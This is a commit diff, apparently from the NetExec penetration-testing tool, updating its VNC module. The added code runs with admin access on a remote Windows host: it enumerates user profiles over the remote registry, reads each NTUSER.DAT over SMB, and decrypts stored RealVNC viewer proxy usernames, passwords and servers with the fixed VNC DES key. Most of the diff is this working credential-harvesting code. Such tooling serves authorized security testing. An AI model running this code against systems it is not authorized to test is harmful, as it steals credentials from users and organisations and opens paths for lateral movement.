Skip to content

Commit 9b74ea5

Browse files
committed
update vnc
1 parent 1c740bd commit 9b74ea5

1 file changed

Lines changed: 87 additions & 13 deletions

File tree

nxc/modules/vnc.py

Lines changed: 87 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,12 @@
1+
import ntpath
2+
import tempfile
13
from dploot.lib.smb import DPLootSMBConnection
24
from dploot.lib.target import Target
35

46
from impacket.dcerpc.v5 import rrp
7+
from impacket import winregistry
58
from impacket.examples.secretsdump import RemoteOperations
9+
from impacket.system_errors import ERROR_NO_MORE_ITEMS
610

711
from Cryptodome.Cipher import DES
812
from binascii import unhexlify
@@ -74,6 +78,7 @@ def on_admin_login(self, context, connection):
7478
remote_ops = RemoteOperations(connection.conn, False)
7579
remote_ops.enableRegistry()
7680
self.vnc_from_registry(remote_ops)
81+
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
7782
self.vnc_from_filesystem(dploot_conn)
7883

7984
def upgrade_connection(self, target: Target, connection=None):
@@ -84,14 +89,9 @@ def upgrade_connection(self, target: Target, connection=None):
8489
conn.connect()
8590
return conn
8691

87-
def reg_query_value(self, remote_ops, path, key):
92+
def reg_query_value(self, remote_ops, path, key, hku = False):
8893
if remote_ops._RemoteOperations__rrp:
89-
if path[:4] == "HKCU":
90-
path = path[5:]
91-
ans = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp)
92-
elif path[:4] == "HKLM":
93-
path = path[5:]
94-
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
94+
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
9595
reg_handle = ans["phKey"]
9696
ans = rrp.hBaseRegOpenKey(
9797
remote_ops._RemoteOperations__rrp,
@@ -110,14 +110,53 @@ def reg_query_value(self, remote_ops, path, key):
110110
except rrp.DCERPCSessionError as e:
111111
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
112112

113+
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
114+
vnc_client_softwares = [
115+
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
116+
]
117+
users = self.get_users(remote_ops)
118+
for user, sid in users.items():
119+
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
120+
try:
121+
ntuser_dat_bytes = dploot_conn.readFile(self.share,ntuser_dat_path)
122+
except Exception as e:
123+
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
124+
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
125+
cred = {}
126+
if ntuser_dat_bytes is None and remote_ops is not None:
127+
user_registry_path = ntpath.join(sid,registry_path)
128+
try:
129+
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
130+
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
131+
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
132+
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
133+
except Exception as e:
134+
if "ERROR_FILE_NOT_FOUND" not in str(e):
135+
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
136+
continue
137+
else:
138+
fh = tempfile.NamedTemporaryFile()
139+
fh.write(ntuser_dat_bytes)
140+
fh.seek(0)
141+
reg = winregistry.Registry(fh.name, isRemote=False)
142+
parent_key = reg.findKey(registry_path)
143+
if parent_key is None:
144+
continue
145+
cred["user"] = reg.getValue(ntpath.join(registry_path,registry_keys[0]))[1].decode("latin-1")
146+
password = reg.getValue(ntpath.join(registry_path,registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
147+
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
148+
cred["server"] = reg.getValue(ntpath.join(registry_path,registry_keys[2]))[1].decode("latin-1")
149+
150+
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
151+
113152
def vnc_from_registry(self, remote_ops):
114153
vncs = (
115-
("RealVNC 4.x", "HKLM\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
116-
("RealVNC 3.x", "HKLM\\SOFTWARE\\RealVNC\\vncserver", "Password"),
117-
("RealVNC 4.x", "HKLM\\SOFTWARE\\RealVNC\\WinVNC4", "Password"),
118-
("TightVNC", "HKLM\\Software\\TightVNC\\Server", "Password"),
119-
("TightVNC ControlPassword", "HKLM\\Software\\TightVNC\\Server", "ControlPassword"),
120-
("TightVNC", "HKLM\\Software\\TightVNC\\Server", "PasswordViewOnly"),
154+
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
155+
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
156+
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
157+
("TightVNC", "Software\\TightVNC\\Server", "Password"),
158+
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
159+
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
121160
)
122161
for vnc_name, path, key in vncs:
123162
try:
@@ -209,3 +248,38 @@ def vnc_from_filesystem(self, dploot_conn):
209248
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
210249
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
211250
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
251+
252+
def get_users(self, conn):
253+
users = {}
254+
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
255+
256+
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
257+
regHandle = ans["phKey"]
258+
259+
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
260+
keyHandle = ans["phkResult"]
261+
262+
sids = []
263+
264+
i = 0
265+
while True:
266+
try:
267+
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
268+
sids.append(ans2["lpNameOut"])
269+
except rrp.DCERPCSessionError as e:
270+
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
271+
break
272+
except Exception as e:
273+
self.context.debug(f"Error while listing users from HKU: {e}")
274+
i +=1
275+
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
276+
for sid in sids:
277+
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key,sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
278+
keyHandle = ans["phkResult"]
279+
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
280+
if r"%systemroot%" in profile_path:
281+
continue
282+
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
283+
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
284+
285+
return users

0 commit comments

Comments
 (0)